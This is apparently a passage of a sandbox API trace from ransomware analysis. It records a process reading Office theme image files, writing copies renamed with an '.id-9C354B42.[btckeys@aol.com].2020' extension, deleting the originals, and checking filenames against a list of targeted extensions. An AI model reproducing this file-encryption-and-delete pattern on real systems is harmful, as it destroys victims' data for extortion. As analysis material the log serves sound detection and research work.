dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0078.473] GetLastError () returned 0x0 [0078.473] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x885, lpOverlapped=0x0) returned 1 [0078.606] WriteFile (in: hFile=0x208, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x890, lpOverlapped=0x0) returned 1 [0078.607] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0078.607] WriteFile (in: hFile=0x208, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.607] SetEndOfFile (hFile=0x208) returned 1 [0078.607] CloseHandle (hObject=0x208) returned 1 [0078.608] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0078.608] SetEndOfFile (hFile=0x210) returned 1 [0078.608] CloseHandle (hObject=0x210) returned 1 [0078.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.609] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0078.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.609] lstrlenW (lpString=".doc") returned 4 [0078.609] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.609] lstrlenW (lpString=".docx") returned 5 [0078.609] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.609] lstrlenW (lpString=".pdf") returned 4 [0078.609] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.609] lstrlenW (lpString=".xls") returned 4 [0078.609] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.609] lstrlenW (lpString=".xlsx") returned 5 [0078.609] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.609] lstrlenW (lpString=".ppt") returned 4 [0078.609] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.609] lstrlenW (lpString=".zip") returned 4 [0078.609] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.609] lstrlenW (lpString=".rar") returned 4 [0078.609] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.609] lstrlenW (lpString=".bz2") returned 4 [0078.609] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.609] lstrlenW (lpString=".7z") returned 3 [0078.609] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.610] lstrlenW (lpString=".dbf") returned 4 [0078.610] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.610] lstrlenW (lpString=".1cd") returned 4 [0078.610] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.610] lstrlenW (lpString=".jpg") returned 4 [0078.610] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.610] lstrlenW (lpString=".doc") returned 4 [0078.610] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.610] lstrlenW (lpString=".docx") returned 5 [0078.610] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.610] lstrlenW (lpString=".pdf") returned 4 [0078.610] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.610] lstrlenW (lpString=".xls") returned 4 [0078.610] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.610] lstrlenW (lpString=".xlsx") returned 5 [0078.610] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.610] lstrlenW (lpString=".ppt") returned 4 [0078.610] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.610] lstrlenW (lpString=".zip") returned 4 [0078.610] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.610] lstrlenW (lpString=".rar") returned 4 [0078.610] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.610] lstrlenW (lpString=".bz2") returned 4 [0078.610] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.610] lstrlenW (lpString=".7z") returned 3 [0078.610] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.610] lstrlenW (lpString=".dbf") returned 4 [0078.611] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.611] lstrlenW (lpString=".1cd") returned 4 [0078.611] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0078.611] lstrlenW (lpString=".jpg") returned 4 [0078.611] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.611] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0078.611] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0078.611] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=31837) returned 1 [0078.611] CloseHandle (hObject=0x210) returned 1 [0078.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0078.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0078.612] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0078.612] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0078.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0078.612] GetLastError () returned 0x0 [0078.612] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0078.913] WriteFile (in: hFile=0x208, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0078.914] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0078.914] WriteFile (in: hFile=0x208, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.915] SetEndOfFile (hFile=0x208) returned 1 [0078.915] CloseHandle (hObject=0x208) returned 1 [0078.915] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0078.915] SetEndOfFile (hFile=0x210) returned 1 [0078.933] CloseHandle (hObject=0x210) returned 1 [0078.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.933] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0078.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.934] lstrlenW (lpString=".doc") returned 4 [0078.934] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.934] lstrlenW (lpString=".docx") returned 5 [0078.934] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.934] lstrlenW (lpString=".pdf") returned 4 [0078.934] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.934] lstrlenW (lpString=".xls") returned 4 [0078.934] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.934] lstrlenW (lpString=".xlsx") returned 5 [0078.934] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.934] lstrlenW (lpString=".ppt") returned 4 [0078.934] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.934] lstrlenW (lpString=".zip") returned 4 [0078.934] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.934] lstrlenW (lpString=".rar") returned 4 [0078.934] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.934] lstrlenW (lpString=".bz2") returned 4 [0078.935] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.935] lstrlenW (lpString=".7z") returned 3 [0078.935] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.935] lstrlenW (lpString=".dbf") returned 4 [0078.935] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.935] lstrlenW (lpString=".1cd") returned 4 [0078.935] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.935] lstrlenW (lpString=".jpg") returned 4 [0078.935] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.935] lstrlenW (lpString=".doc") returned 4 [0078.935] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.935] lstrlenW (lpString=".docx") returned 5 [0078.935] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.935] lstrlenW (lpString=".pdf") returned 4 [0078.935] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.935] lstrlenW (lpString=".xls") returned 4 [0078.935] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.935] lstrlenW (lpString=".xlsx") returned 5 [0078.935] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.935] lstrlenW (lpString=".ppt") returned 4 [0078.935] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.936] lstrlenW (lpString=".zip") returned 4 [0078.936] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.936] lstrlenW (lpString=".rar") returned 4 [0078.936] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.936] lstrlenW (lpString=".bz2") returned 4 [0078.936] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.936] lstrlenW (lpString=".7z") returned 3 [0078.936] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.936] lstrlenW (lpString=".dbf") returned 4 [0078.936] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.936] lstrlenW (lpString=".1cd") returned 4 [0078.936] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0078.936] lstrlenW (lpString=".jpg") returned 4 [0078.936] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.936] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0078.936] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0079.356] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=2044) returned 1 [0079.356] CloseHandle (hObject=0x218) returned 1 [0079.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0079.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0079.357] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0079.357] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0079.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0079.368] GetLastError () returned 0x0 [0079.368] ReadFile (in: hFile=0x218, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x7fc, lpOverlapped=0x0) returned 1 [0079.385] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x800, lpOverlapped=0x0) returned 1 [0079.387] ReadFile (in: hFile=0x218, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0079.387] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0079.387] SetEndOfFile (hFile=0x20c) returned 1 [0079.387] CloseHandle (hObject=0x20c) returned 1 [0079.387] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0079.388] SetEndOfFile (hFile=0x218) returned 1 [0079.388] CloseHandle (hObject=0x218) returned 1 [0079.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0079.392] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0079.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.392] lstrlenW (lpString=".doc") returned 4 [0079.392] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.392] lstrlenW (lpString=".docx") returned 5 [0079.392] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.392] lstrlenW (lpString=".pdf") returned 4 [0079.392] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.392] lstrlenW (lpString=".xls") returned 4 [0079.392] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.392] lstrlenW (lpString=".xlsx") returned 5 [0079.392] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.393] lstrlenW (lpString=".ppt") returned 4 [0079.393] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.393] lstrlenW (lpString=".zip") returned 4 [0079.393] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.393] lstrlenW (lpString=".rar") returned 4 [0079.393] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.393] lstrlenW (lpString=".bz2") returned 4 [0079.393] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.393] lstrlenW (lpString=".7z") returned 3 [0079.393] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.393] lstrlenW (lpString=".dbf") returned 4 [0079.393] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.393] lstrlenW (lpString=".1cd") returned 4 [0079.393] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.393] lstrlenW (lpString=".jpg") returned 4 [0079.393] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.393] lstrlenW (lpString=".doc") returned 4 [0079.394] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.394] lstrlenW (lpString=".docx") returned 5 [0079.394] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.394] lstrlenW (lpString=".pdf") returned 4 [0079.394] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.394] lstrlenW (lpString=".xls") returned 4 [0079.394] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.394] lstrlenW (lpString=".xlsx") returned 5 [0079.394] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.394] lstrlenW (lpString=".ppt") returned 4 [0079.394] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.394] lstrlenW (lpString=".zip") returned 4 [0079.394] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.394] lstrlenW (lpString=".rar") returned 4 [0079.394] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.394] lstrlenW (lpString=".bz2") returned 4 [0079.394] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.394] lstrlenW (lpString=".7z") returned 3 [0079.394] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.394] lstrlenW (lpString=".dbf") returned 4 [0079.394] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.394] lstrlenW (lpString=".1cd") returned 4 [0079.394] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0079.395] lstrlenW (lpString=".jpg") returned 4 [0079.395] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.395] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0079.395] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0079.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0079.580] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=28595) returned 1 [0079.580] CloseHandle (hObject=0x198) returned 1 [0079.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0079.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0079.581] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0079.581] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0079.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 